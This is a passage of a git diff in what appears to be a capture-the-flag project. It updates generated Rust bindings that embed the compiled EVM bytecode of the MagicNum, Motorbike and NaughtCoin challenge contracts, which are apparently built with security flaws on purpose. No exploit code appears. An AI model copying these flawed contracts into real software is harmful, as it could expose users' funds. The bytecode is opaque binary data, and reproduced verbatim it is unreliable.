b"`\x80`@R4\x80\x15`\x0FW`\0\x80\xFD[P`\x046\x10`2W`\x005`\xE0\x1C\x80c\x1F\x87\x943\x14`7W\x80cI\xA7\xA2m\x14`fW[`\0\x80\xFD[`d`B6`\x04`\x94V[`\0\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x92\x90\x92\x16\x91\x90\x91\x17\x90UV[\0[`\0T`x\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01`@Q\x80\x91\x03\x90\xF3[`\0` \x82\x84\x03\x12\x15`\xA5W`\0\x80\xFD[\x815`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14`\xBBW`\0\x80\xFD[\x93\x92PPPV\xFE\xA2dipfsX\"\x12 ;\xE8\xB9E\xB0\xDA\x04\xFE\xECO\xD1\xB6\xFEQ\xB4J\xD69E\xE0\x1C\x82\x80\xE3\x96\x8B\xD6MN\xFE\x113dsolcC\0\x08\x15\x003"; + const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15`\x0FW`\0\x80\xFD[P`\x046\x10`2W`\x005`\xE0\x1C\x80c\x1F\x87\x943\x14`7W\x80cI\xA7\xA2m\x14`fW[`\0\x80\xFD[`d`B6`\x04`\x94V[`\0\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x92\x90\x92\x16\x91\x90\x91\x17\x90UV[\0[`\0T`x\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01`@Q\x80\x91\x03\x90\xF3[`\0` \x82\x84\x03\x12\x15`\xA5W`\0\x80\xFD[\x815`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14`\xBBW`\0\x80\xFD[\x93\x92PPPV\xFE\xA2dipfsX\"\x12 \\\xAE\x1F\x7Fy\xDC\xF5\x05JBm4\\-\x1D0~\x85\x89\x8D9\n2\x93\x06\x18A\xD6\xFC\x03@\xECdsolcC\0\x08\x15\x003"; /// The deployed bytecode of the contract. pub static MAGICNUM_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static(__DEPLOYED_BYTECODE); diff --git a/ctf/src/abi/motorbike.rs b/ctf/src/abi/motorbike.rs index f7dcdd2..eb6edc6 100644 --- a/ctf/src/abi/motorbike.rs +++ b/ctf/src/abi/motorbike.rs @@ -36,12 +36,12 @@ pub mod motorbike { ::ethers::core::abi::Abi, > = ::ethers::contract::Lazy::new(__abi); #[rustfmt::skip] - const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`@Qa\x02\xB48\x03\x80a\x02\xB4\x839\x81\x81\x01`@R` \x81\x10\x15a\x003W`\0\x80\xFD[PQa\0I\x81a\x01\xD1` \x90\x81\x1Ba\0c\x17\x90\x1CV[a\0\x84W`@QbF\x1B\xCD`\xE5\x1B\x81R`\x04\x01\x80\x80` \x01\x82\x81\x03\x82R`-\x81R` \x01\x80a\x02\x87`-\x919`@\x01\x91PP`@Q\x80\x91\x03\x90\xFD[\x80a\0\xAE\x7F6\x08\x94\xA1;\xA1\xA3!\x06g\xC8(I-\xB9\x8D\xCA> v\xCC75\xA9 \xA3\xCAP]8+\xBCa\x01\xD7V[\x80T`\x01`\x01`\xA0\x1B\x03\x92\x83\x16`\x01`\x01`\xA0\x1B\x03\x19\x90\x91\x16\x17\x90U`@\x80Q`\x04\x81R`$\x81\x01\x82R` \x81\x01\x80Q`\x01`\x01`\xE0\x1B\x03\x16c J\x7F\x07`\xE2\x1B\x17\x81R\x91Q\x81Q`\0\x94\x86\x16\x93\x82\x91\x80\x83\x83[` \x83\x10a\x01!W\x80Q\x82R`\x1F\x19\x90\x92\x01\x91` \x91\x82\x01\x91\x01a\x01\x02V[`\x01\x83` \x03a\x01\0\n\x03\x80\x19\x82Q\x16\x81\x84Q\x16\x80\x82\x17\x85RPPPPPP\x90P\x01\x91PP`\0`@Q\x80\x83\x03\x81\x85Z\xF4\x91PP=\x80`\0\x81\x14a\x01\x81W`@Q\x91P`\x1F\x19`?=\x01\x16\x82\x01`@R=\x82R=`\0` \x84\x01>a\x01\x86V[``\x91P[PP\x90P\x80a\x01\xCAW`@\x80QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x0B`$\x82\x01Rj\x10\xD8[\x1B\x08\x19\x98Z[\x19Y`\xAA\x1B`D\x82\x01R\x90Q\x90\x81\x90\x03`d\x01\x90\xFD[PPa\x01\xDAV[;\x15\x15\x90V[\x90V[`\x9F\x80a\x01\xE8`\09`\0\xF3\xFE`\x80`@R`;`-\x7F6\x08\x94\xA1;\xA1\xA3!\x06g\xC8(I-\xB9\x8D\xCA> v\xCC75\xA9 \xA3\xCAP]8+\xBC`=V[T`\x01`\x01`\xA0\x1B\x03\x16`@V[\0[\x90V[6`\0\x807`\0\x806`\0\x84Z\xF4=`\0\x80>\x80\x80\x15`^W=`\0\xF3[=`\0\xFD[;\x15\x15\x90V\xFE\xA2dipfsX\"\x12 \xDA2\x88\x8F\x9F\xBB\x1A\x9A\x18I\xAA v\xCC75\xA9 \xA3\xCAP]8+\xBCa\x01\xD7V[\x80T`\x01`\x01`\xA0\x1B\x03\x92\x83\x16`\x01`\x01`\xA0\x1B\x03\x19\x90\x91\x16\x17\x90U`@\x80Q`\x04\x81R`$\x81\x01\x82R` \x81\x01\x80Q`\x01`\x01`\xE0\x1B\x03\x16c J\x7F\x07`\xE2\x1B\x17\x81R\x91Q\x81Q`\0\x94\x86\x16\x93\x82\x91\x80\x83\x83[` \x83\x10a\x01!W\x80Q\x82R`\x1F\x19\x90\x92\x01\x91` \x91\x82\x01\x91\x01a\x01\x02V[`\x01\x83` \x03a\x01\0\n\x03\x80\x19\x82Q\x16\x81\x84Q\x16\x80\x82\x17\x85RPPPPPP\x90P\x01\x91PP`\0`@Q\x80\x83\x03\x81\x85Z\xF4\x91PP=\x80`\0\x81\x14a\x01\x81W`@Q\x91P`\x1F\x19`?=\x01\x16\x82\x01`@R=\x82R=`\0` \x84\x01>a\x01\x86V[``\x91P[PP\x90P\x80a\x01\xCAW`@\x80QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x0B`$\x82\x01Rj\x10\xD8[\x1B\x08\x19\x98Z[\x19Y`\xAA\x1B`D\x82\x01R\x90Q\x90\x81\x90\x03`d\x01\x90\xFD[PPa\x01\xDAV[;\x15\x15\x90V[\x90V[`\x9F\x80a\x01\xE8`\09`\0\xF3\xFE`\x80`@R`;`-\x7F6\x08\x94\xA1;\xA1\xA3!\x06g\xC8(I-\xB9\x8D\xCA> v\xCC75\xA9 \xA3\xCAP]8+\xBC`=V[T`\x01`\x01`\xA0\x1B\x03\x16`@V[\0[\x90V[6`\0\x807`\0\x806`\0\x84Z\xF4=`\0\x80>\x80\x80\x15`^W=`\0\xF3[=`\0\xFD[;\x15\x15\x90V\xFE\xA2dipfsX\"\x12 \t\xFA\x88\x13N\xA4\x1E\xA5\x91\x9B\xF0\x83\x8C\xE2\x15\xE2\xF1[9\x1A\xB2Z\xA0\x8C\x85\xEF\x9D\x03\xE0e\xFBcdsolcC\0\x06\x0C\x003ERC1967: new implementation is not a contract"; /// The bytecode of the contract. pub static MOTORBIKE_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static(__BYTECODE); #[rustfmt::skip] - const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R`;`-\x7F6\x08\x94\xA1;\xA1\xA3!\x06g\xC8(I-\xB9\x8D\xCA> v\xCC75\xA9 \xA3\xCAP]8+\xBC`=V[T`\x01`\x01`\xA0\x1B\x03\x16`@V[\0[\x90V[6`\0\x807`\0\x806`\0\x84Z\xF4=`\0\x80>\x80\x80\x15`^W=`\0\xF3[=`\0\xFD[;\x15\x15\x90V\xFE\xA2dipfsX\"\x12 \xDA2\x88\x8F\x9F\xBB\x1A\x9A\x18I\xAA v\xCC75\xA9 \xA3\xCAP]8+\xBC`=V[T`\x01`\x01`\xA0\x1B\x03\x16`@V[\0[\x90V[6`\0\x807`\0\x806`\0\x84Z\xF4=`\0\x80>\x80\x80\x15`^W=`\0\xF3[=`\0\xFD[;\x15\x15\x90V\xFE\xA2dipfsX\"\x12 \t\xFA\x88\x13N\xA4\x1E\xA5\x91\x9B\xF0\x83\x8C\xE2\x15\xE2\xF1[9\x1A\xB2Z\xA0\x8C\x85\xEF\x9D\x03\xE0e\xFBcdsolcC\0\x06\x0C\x003"; /// The deployed bytecode of the contract. pub static MOTORBIKE_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static(__DEPLOYED_BYTECODE); diff --git a/ctf/src/abi/naught_coin.rs b/ctf/src/abi/naught_coin.rs index 946ae24..39374b6 100644 --- a/ctf/src/abi/naught_coin.rs +++ b/ctf/src/abi/naught_coin.rs @@ -499,12 +499,12 @@ pub mod naught_coin { ::ethers::core::abi::Abi, > = ::ethers::contract::Lazy::new(__abi); #[rustfmt::skip] - const __BYTECODE: &[u8] = b"`\x80`@Rb\0\0\x14Bc\x12\xCC\x03\0b\0\x02\x19V[`\x05U4\x80\x15b\0\0$W`\0\x80\xFD[P`@Qb\0\x0E@8\x03\x80b\0\x0E@\x839\x81\x01`@\x81\x90Rb\0\0G\x91b\0\x025V[`@Q\x80`@\x01`@R\x80`\n\x81R` \x01i'0\xBA\xB3\xB4:!\xB7\xB4\xB7`\xB1\x1B\x81RP`@Q\x80`@\x01`@R\x80`\x03\x81R` \x01b\x03\x07\x83`\xEC\x1B\x81RP\x81`\x03\x90\x81b\0\0\x97\x91\x90b\0\x03\x0BV[P`\x04b\0\0\xA6\x82\x82b\0\x03\x0BV[PP`\x07\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x84\x16\x17\x90UPb\0\0\xCD`\x12\x90V[b\0\0\xDD\x90`\xFF\x16`\nb\0\x04\xD4V[b\0\0\xEC\x90b\x0FB@b\0\x04\xE2V[`\x06\x81\x90U`\x07Tb\0\x01\x0B\x91`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x90b\0\x01IV[`\x07T`\x06T`@Q\x90\x81R`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x90`\0\x90`\0\x80Q` b\0\x0E \x839\x81Q\x91R\x90` \x01`@Q\x80\x91\x03\x90\xA3Pb\0\x04\xFCV[`\x01`\x01`\xA0\x1B\x03\x82\x16b\0\x01\xA4W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x1F`$\x82\x01R\x7FERC20: mint to the zero address\0`D\x82\x01R`d\x01`@Q\x80\x91\x03\x90\xFD[\x80`\x02`\0\x82\x82Tb\0\x01\xB8\x91\x90b\0\x02\x19V[\x90\x91UPP`\x01`\x01`\xA0\x1B\x03\x82\x16`\0\x81\x81R` \x81\x81R`@\x80\x83 \x80T\x86\x01\x90UQ\x84\x81R`\0\x80Q` b\0\x0E \x839\x81Q\x91R\x91\x01`@Q\x80\x91\x03\x90\xA3PPV[PPPV[cNH{q`\xE0\x1B`\0R`\x11`\x04R`$`\0\xFD[\x80\x82\x01\x80\x82\x11\x15b\0\x02/Wb\0\x02/b\0\x02\x03V[\x92\x91PPV[`\0` \x82\x84\x03\x12\x15b\0\x02HW`\0\x80\xFD[\x81Q`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14b\0\x02`W`\0\x80\xFD[\x93\x92PPPV[cNH{q`\xE0\x1B`\0R`A`\x04R`$`\0\xFD[`\x01\x81\x81\x1C\x90\x82\x16\x80b\0\x02\x92W`\x7F\x82\x16\x91P[` \x82\x10\x81\x03b\0\x02\xB3WcNH{q`\xE0\x1B`\0R`\"`\x04R`$`\0\xFD[P\x91\x90PV[`\x1F\x82\x11\x15b\0\x01\xFEW`\0\x81\x81R` \x81 `\x1F\x85\x01`\x05\x1C\x81\x01` \x86\x10\x15b\0\x02\xE2WP\x80[`\x1F\x85\x01`\x05\x1C\x82\x01\x91P[\x81\x81\x10\x15b\0\x03\x03W\x82\x81U`\x01\x01b\0\x02\xEEV[PPPPPPV[\x81Q`\x01`\x01`@\x1B\x03\x81\x11\x15b\0\x03'Wb\0\x03'b\0\x02gV[b\0\x03?\x81b\0\x038\x84Tb\0\x02}V[\x84b\0\x02\xB9V[` \x80`\x1F\x83\x11`\x01\x81\x14b\0\x03wW`\0\x84\x15b\0\x03^WP\x85\x83\x01Q[`\0\x19`\x03\x86\x90\x1B\x1C\x19\x16`\x01\x85\x90\x1B\x17\x85Ub\0\x03\x03V[`\0\x85\x81R` \x81 `\x1F\x19\x86\x16\x91[\x82\x81\x10\x15b\0\x03\xA8W\x88\x86\x01Q\x82U\x94\x84\x01\x94`\x01\x90\x91\x01\x90\x84\x01b\0\x03\x87V[P\x85\x82\x10\x15b\0\x03\xC7W\x87\x85\x01Q`\0\x19`\x03\x88\x90\x1B`\xF8\x16\x1C\x19\x16\x81U[PPPPP`\x01\x90\x81\x1B\x01\x90UPV[`\x01\x81\x81[\x80\x85\x11\x15b\0\x04\x18W\x81`\0\x19\x04\x82\x11\x15b\0\x03\xFCWb\0\x03\xFCb\0\x02\x03V[\x80\x85\x16\x15b\0\x04\nW\x91\x81\x02\x91[\x93\x84\x1C\x93\x90\x80\x02\x90b\0\x03\xDCV[P\x92P\x92\x90PV[`\0\x82b\0\x041WP`\x01b\0\x02/V[\x81b\0\x04@WP`\0b\0\x02/V[\x81`\x01\x81\x14b\0\x04YW`\x02\x81\x14b\0\x04dWb\0\x04\x84V[`\x01\x91PPb\0\x02/V[`\xFF\x84\x11\x15b\0\x04xWb\0\x04xb\0\x02\x03V[PP`\x01\x82\x1Bb\0\x02/V[P` \x83\x10a\x013\x83\x10\x16`N\x84\x10`\x0B\x84\x10\x16\x17\x15b\0\x04\xA9WP\x81\x81\nb\0\x02/V[b\0\x04\xB5\x83\x83b\0\x03\xD7V[\x80`\0\x19\x04\x82\x11\x15b\0\x04\xCCWb\0\x04\xCCb\0\x02\x03V[\x02\x93\x92PPPV[`\0b\0\x02`\x83\x83b\0\x04 V[\x80\x82\x02\x81\x15\x82\x82\x04\x84\x14\x17b\0\x02/Wb\0\x02/b\0\x02\x03V[a\t\x14\x80b\0\x05\x0C`\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0\xEAW`\x005`\xE0\x1C\x80cH\xDB_\x89\x11a\0\x8CW\x80c\xA4W\xC2\xD7\x11a\0fW\x80c\xA4W\xC2\xD7\x14a\x01\xDCW\x80c\xA9\x05\x9C\xBB\x14a\x01\xEFW\x80c\xD0\x85\x83Z\x14a\x02\x02W\x80c\xDDb\xED>\x14a\x02\x0BW`\0\x80\xFD[\x80cH\xDB_\x89\x14a\x01\x80W\x80cp\xA0\x821\x14a\x01\xABW\x80c\x95\xD8\x9BA\x14a\x01\xD4W`\0\x80\xFD[\x80c#\xB8r\xDD\x11a\0\xC8W\x80c#\xB8r\xDD\x14a\x01BW\x80c/\xF2\xE9\xDC\x14a\x01UW\x80c1<\xE5g\x14a\x01^W\x80c9P\x93Q\x14a\x01mW`\0\x80\xFD[\x80c\x06\xFD\xDE\x03\x14a\0\xEFW\x80c\t^\xA7\xB3\x14a\x01\rW\x80c\x18\x16\r\xDD\x14a\x010W[`\0\x80\xFD[a\0\xF7a\x02\x1EV[`@Qa\x01\x04\x91\x90a\x07^V[`@Q\x80\x91\x03\x90\xF3[a\x01 a\x01\x1B6`\x04a\x07\xC8V[a\x02\xB0V[`@Q\x90\x15\x15\x81R` \x01a\x01\x04V[`\x02T[`@Q\x90\x81R` \x01a\x01\x04V[a\x01 a\x01P6`\x04a\x07\xF2V[a\x02\xCAV[a\x014`\x06T\x81V[`@Q`\x12\x81R` \x01a\x01\x04V[a\x01 a\x01{6`\x04a\x07\xC8V[a\x02\xEEV[`\x07Ta\x01\x93\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01a\x01\x04V[a\x014a\x01\xB96`\x04a\x08.V[`\x01`\x01`\xA0\x1B\x03\x16`\0\x90\x81R` \x81\x90R`@\x90 T\x90V[a\0\xF7a\x03\x10V[a\x01 a\x01\xEA6`\x04a\x07\xC8V[a\x03\x1FV[a\x01 a\x01\xFD6`\x04a\x07\xC8V[a\x03\x9FV[a\x014`\x05T\x81V[a\x014a\x02\x196`\x04a\x08PV[a\x03\xE3V[```\x03\x80Ta\x02-\x90a\x08\x83V[\x80`\x1F\x01` \x80\x91\x04\x02` \x01`@Q\x90\x81\x01`@R\x80\x92\x91\x90\x81\x81R` \x01\x82\x80Ta\x02Y\x90a\x08\x83V[\x80\x15a\x02\xA6W\x80`\x1F\x10a\x02{Wa\x01\0\x80\x83T\x04\x02\x83R\x91` \x01\x91a\x02\xA6V[\x82\x01\x91\x90`\0R` `\0 \x90[\x81T\x81R\x90`\x01\x01\x90` \x01\x80\x83\x11a\x02\x89W\x82\x90\x03`\x1F\x16\x82\x01\x91[PPPPP\x90P\x90V[`\x003a\x02\xBE\x81\x85\x85a\x04\x0EV[`\x01\x91PP[\x92\x91PPV[`\x003a\x02\xD8\x85\x82\x85a\x052V[a\x02\xE3\x85\x85\x85a\x05\xACV[P`\x01\x94\x93PPPPV[`\x003a\x02\xBE\x81\x85\x85a\x03\x01\x83\x83a\x03\xE3V[a\x03\x0B\x91\x90a\x08\xBDV[a\x04\x0EV[```\x04\x80Ta\x02-\x90a\x08\x83V[`\x003\x81a\x03-\x82\x86a\x03\xE3V[\x90P\x83\x81\x10\x15a\x03\x92W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`%`$\x82\x01R\x7FERC20: decreased allowance below`D\x82\x01Rd zero`\xD8\x1B`d\x82\x01R`\x84\x01[`@Q\x80\x91\x03\x90\xFD[a\x02\xE3\x82\x86\x86\x84\x03a\x04\x0EV[`\x07T`\0\x90`\x01`\x01`\xA0\x1B\x03\x163\x03a\x03\xD2W`\x05TB\x11a\x03\xC2W`\0\x80\xFD[a\x03\xCC\x83\x83a\x07PV[Pa\x02\xC4V[a\x03\xDC\x83\x83a\x07PV[P\x92\x91PPV[`\x01`\x01`\xA0\x1B\x03\x91\x82\x16`\0\x90\x81R`\x01` \x90\x81R`@\x80\x83 \x93\x90\x94\x16\x82R\x91\x90\x91R T\x90V[`\x01`\x01`\xA0\x1B\x03\x83\x16a\x04pW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`$\x80\x82\x01R\x7FERC20: approve from the zero add`D\x82\x01Rcress`\xE0\x1B`d\x82\x01R`\x84\x01a\x03\x89V[`\x01`\x01`\xA0\x1B\x03\x82\x16a\x04\xD1W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\"`$\x82\x01R\x7FERC20: approve to the zero addre`D\x82\x01Rass`\xF0\x1B`d\x82\x01R`\x84\x01a\x03\x89V[`\x01`\x01`\xA0\x1B\x03\x83\x81\x16`\0\x81\x81R`\x01` \x90\x81R`@\x80\x83 \x94\x87\x16\x80\x84R\x94\x82R\x91\x82\x90 \x85\x90U\x90Q\x84\x81R\x7F\x8C[\xE1\xE5\xEB\xEC}[\xD1OqB}\x1E\x84\xF3\xDD\x03\x14\xC0\xF7\xB2)\x1E[ \n\xC8\xC7\xC3\xB9%\x91\x01`@Q\x80\x91\x03\x90\xA3PPPV[`\0a\x05>\x84\x84a\x03\xE3V[\x90P`\0\x19\x81\x14a\x05\xA6W\x81\x81\x10\x15a\x05\x99W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x1D`$\x82\x01R\x7FERC20: insufficient allowance\0\0\0`D\x82\x01R`d\x01a\x03\x89V[a\x05\xA6\x84\x84\x84\x84\x03a\x04\x0EV[PPPPV[`\x01`\x01`\xA0\x1B\x03\x83\x16a\x06\x10W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`%`$\x82\x01R\x7FERC20: transfer from the zero ad`D\x82\x01Rddress`\xD8\x1B`d\x82\x01R`\x84\x01a\x03\x89V[`\x01`\x01`\xA0\x1B\x03\x82\x16a\x06rW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`#`$\x82\x01R\x7FERC20: transfer to the zero addr`D\x82\x01Rbess`\xE8\x1B`d\x82\x01R`\x84\x01a\x03\x89V[`\x01`\x01`\xA0\x1B\x03\x83\x16`\0\x90\x81R` \x81\x90R`@\x90 T\x81\x81\x10\x15a\x06\xEAW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`&`$\x82\x01R\x7FERC20: transfer amount exceeds b`D\x82\x01Realance`\xD0\x1B`d\x82\x01R`\x84\x01a\x03\x89V[`\x01`\x01`\xA0\x1B\x03\x84\x81\x16`\0\x81\x81R` \x81\x81R`@\x80\x83 \x87\x87\x03\x90U\x93\x87\x16\x80\x83R\x91\x84\x90 \x80T\x87\x01\x90U\x92Q\x85\x81R\x90\x92\x7F\xDD\xF2R\xAD\x1B\xE2\xC8\x9Bi\xC2\xB0h\xFC7\x8D\xAA\x95+\xA7\xF1c\xC4\xA1\x16(\xF5ZM\xF5#\xB3\xEF\x91\x01`@Q\x80\x91\x03\x90\xA3a\x05\xA6V[`\x003a\x02\xBE\x81\x85\x85a\x05\xACV[`\0` \x80\x83R\x83Q\x80\x82\x85\x01R`\0[\x81\x81\x10\x15a\x07\x8BW\x85\x81\x01\x83\x01Q\x85\x82\x01`@\x01R\x82\x01a\x07oV[P`\0`@\x82\x86\x01\x01R`@`\x1F\x19`\x1F\x83\x01\x16\x85\x01\x01\x92PPP\x92\x91PPV[\x805`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\x07\xC3W`\0\x80\xFD[\x91\x90PV[`\0\x80`@\x83\x85\x03\x12\x15a\x07\xDBW`\0\x80\xFD[a\x07\xE4\x83a\x07\xACV[\x94` \x93\x90\x93\x015\x93PPPV[`\0\x80`\0``\x84\x86\x03\x12\x15a\x08\x07W`\0\x80\xFD[a\x08\x10\x84a\x07\xACV[\x92Pa\x08\x1E` \x85\x01a\x07\xACV[\x91P`@\x84\x015\x90P\x92P\x92P\x92V[`\0` \x82\x84\x03\x12\x15a\x08@W`\0\x80\xFD[a\x08I\x82a\x07\xACV[\x93\x92PPPV[`\0\x80`@\x83\x85\x03\x12\x15a\x08cW`\0\x80\xFD[a\x08l\x83a\x07\xACV[\x91Pa\x08z` \x84\x01a\x07\xACV[\x90P\x92P\x92\x90PV[`\x01\x81\x81\x1C\x90\x82\x16\x80a\x08\x97W`\x7F\x82\x16\x91P[` \x82\x10\x81\x03a\x08\xB7WcNH{q`\xE0\x1B`\0R`\"`\x04R`$`\0\xFD[P\x91\x90PV[\x80\x82\x01\x80\x82\x11\x15a\x02\xC4WcNH{q`\xE0\x1B`\0R`\x11`\x04R`$`\0\xFD\xFE\xA2dipfsX\"\x12 \x1C\xC1\xD5LQv\xA4\x8Ag\r\x15l\xCDB\xDF\xD5\xC5\x96\xFBfT@\"\xC8c\xF3\x86f\xEC\x15l\x91dsolcC\0\x08\x15\x003\xDD\xF2R\xAD\x1B\xE2\xC8\x9Bi\xC2\xB0h\xFC7\x8D\xAA\x95+\xA7\xF1c\xC4\xA1\x16(\xF5ZM\xF5#\xB3\xEF"; + const __BYTECODE: &[u8] = b"`\x80`@Rb\0\0\x14Bc\x12\xCC\x03\0b\0\x02\x19V[`\x05U4\x80\x15b\0\0$W`\0\x80\xFD[P`@Qb\0\x0E@8\x03\x80b\0\x0E@\x839\x81\x01`@\x81\x90Rb\0\0G\x91b\0\x025V[`@Q\x80`@\x01`@R\x80`\n\x81R` \x01i'0\xBA\xB3\xB4:!\xB7\xB4\xB7`\xB1\x1B\x81RP`@Q\x80`@\x01`@R\x80`\x03\x81R` \x01b\x03\x07\x83`\xEC\x1B\x81RP\x81`\x03\x90\x81b\0\0\x97\x91\x90b\0\x03\x0BV[P`\x04b\0\0\xA6\x82\x82b\0\x03\x0BV[PP`\x07\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x84\x16\x17\x90UPb\0\0\xCD`\x12\x90V[b\0\0\xDD\x90`\xFF\x16`\nb\0\x04\xD4V[b\0\0\xEC\x90b\x0FB@b\0\x04\xE2V[`\x06\x81\x90U`\x07Tb\0\x01\x0B\x91`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x90b\0\x01IV[`\x07T`\x06T`@Q\x90\x81R`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x90`\0\x90`\0\x80Q` b\0\x0E \x839\x81Q\x91R\x90` \x01`@Q\x80\x91\x03\x90\xA3Pb\0\x04\xFCV[`\x01`\x01`\xA0\x1B\x03\x82\x16b\0\x01\xA4W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x1F`$\x82\x01R\x7FERC20: mint to the zero address\0`D\x82\x01R`d\x01`@Q\x80\x91\x03\x90\xFD[\x80`\x02`\0\x82\x82Tb\0\x01\xB8\x91\x90b\0\x02\x19V[\x90\x91UPP`\x01`\x01`\xA0\x1B\x03\x82\x16`\0\x81\x81R` \x81\x81R`@\x80\x83 \x80T\x86\x01\x90UQ\x84\x81R`\0\x80Q` b\0\x0E \x839\x81Q\x91R\x91\x01`@Q\x80\x91\x03\x90\xA3PPV[PPPV[cNH{q`\xE0\x1B`\0R`\x11`\x04R`$`\0\xFD[\x80\x82\x01\x80\x82\x11\x15b\0\x02/Wb\0\x02/b\0\x02\x03V[\x92\x91PPV[`\0` \x82\x84\x03\x12\x15b\0\x02HW`\0\x80\xFD[\x81Q`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14b\0\x02`W`\0\x80\xFD[\x93\x92PPPV[cNH{q`\xE0\x1B`\0R`A`\x04R`$`\0\xFD[`\x01\x81\x81\x1C\x90\x82\x16\x80b\0\x02\x92W`\x7F\x82\x16\x91P[` \x82\x10\x81\x03b\0\x02\xB3WcNH{q`\xE0\x1B`\0R`\"`\x04R`$`\0\xFD[P\x91\x90PV[`\x1F\x82\x11\x15b\0\x01\xFEW`\0\x81\x81R` \x81 `\x1F\x85\x01`\x05\x1C\x81\x01` \x86\x10\x15b\0\x02\xE2WP\x80[`\x1F\x85\x01`\x05\x1C\x82\x01\x91P[\x81\x81\x10\x15b\0\x03\x03W\x82\x81U`\x01\x01b\0\x02\xEEV[PPPPPPV[\x81Q`\x01`\x01`@\x1B\x03\x81\x11\x15b\0\x03'Wb\0\x03'b\0\x02gV[b\0\x03?\x81b\0\x038\x84Tb\0\x02}V[\x84b\0\x02\xB9V[` \x80`\x1F\x83\x11`\x01\x81\x14b\0\x03wW`\0\x84\x15b\0\x03^WP\x85\x83\x01Q[`\0\x19`\x03\x86\x90\x1B\x1C\x19\x16`\x01\x85\x90\x1B\x17\x85Ub\0\x03\x03V[`\0\x85\x81R` \x81 `\x1F\x19\x86\x16\x91[\x82\x81\x10\x15b\0\x03\xA8W\x88\x86\x01Q\x82U\x94\x84\x01\x94`\x01\x90\x91\x01\x90\x84\x01b\0\x03\x87V[P\x85\x82\x10\x15b\0\x03\xC7W\x87\x85\x01Q`\0\x19`\x03\x88\x90\x1B`\xF8\x16\x1C\x19\x16\x81U[PPPPP`\x01\x90\x81\x1B\x01\x90UPV[`\x01\x81\x81[\x80\x85\x11\x15b\0\x04\x18W\x81`\0\x19\x04\x82\x11\x15b\0\x03\xFCWb\0\x03\xFCb\0\x02\x03V[\x80\x85\x16\x15b\0\x04\nW\x91\x81\x02\x91[\x93\x84\x1C\x93\x90\x80\x02\x90b\0\x03\xDCV[P\x92P\x92\x90PV[`\0\x82b\0\x041WP`\x01b\0\x02/V[\x81b\0\x04@WP`\0b\0\x02/V[\x81`\x01\x81\x14b\0\x04YW`\x02\x81\x14b\0\x04dWb\0\x04\x84V[`\x01\x91PPb\0\x02/V[`\xFF\x84\x11\x15b\0\x04xWb\0\x04xb\0\x02\x03V[PP`\x01\x82\x1Bb\0\x02/V[P` \x83\x10a\x013\x83\x10\x16`N\x84\x10`\x0B\x84\x10\x16\x17\x15b\0\x04\xA9WP\x81\x81\nb\0\x02/V[b\0\x04\xB5\x83\x83b\0\x03\xD7V[\x80`\0\x19\x04\x82\x11\x15b\0\x04\xCCWb\0\x04\xCCb\0\x02\x03V[\x02\x93\x92PPPV[`\0b\0\x02`\x83\x83b\0\x04 V[\x80\x82\x02\x81\x15\x82\x82\x04\x84\x14\x17b\0\x02/Wb\0\x02/b\0\x02\x03V[a\t\x14\x80b\0\x05\x0C`\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0\xEAW`\x005`\xE0\x1C\x80cH\xDB_\x89\x11a\0\x8CW\x80c\xA4W\xC2\xD7\x11a\0fW\x80c\xA4W\xC2\xD7\x14a\x01\xDCW\x80c\xA9\x05\x9C\xBB\x14a\x01\xEFW\x80c\xD0\x85\x83Z\x14a\x02\x02W\x80c\xDDb\xED>\x14a\x02\x0BW`\0\x80\xFD[\x80cH\xDB_\x89\x14a\x01\x80W\x80cp\xA0\x821\x14a\x01\xABW\x80c\x95\xD8\x9BA\x14a\x01\xD4W`\0\x80\xFD[\x80c#\xB8r\xDD\x11a\0\xC8W\x80c#\xB8r\xDD\x14a\x01BW\x80c/\xF2\xE9\xDC\x14a\x01UW\x80c1<\xE5g\x14a\x01^W\x80c9P\x93Q\x14a\x01mW`\0\x80\xFD[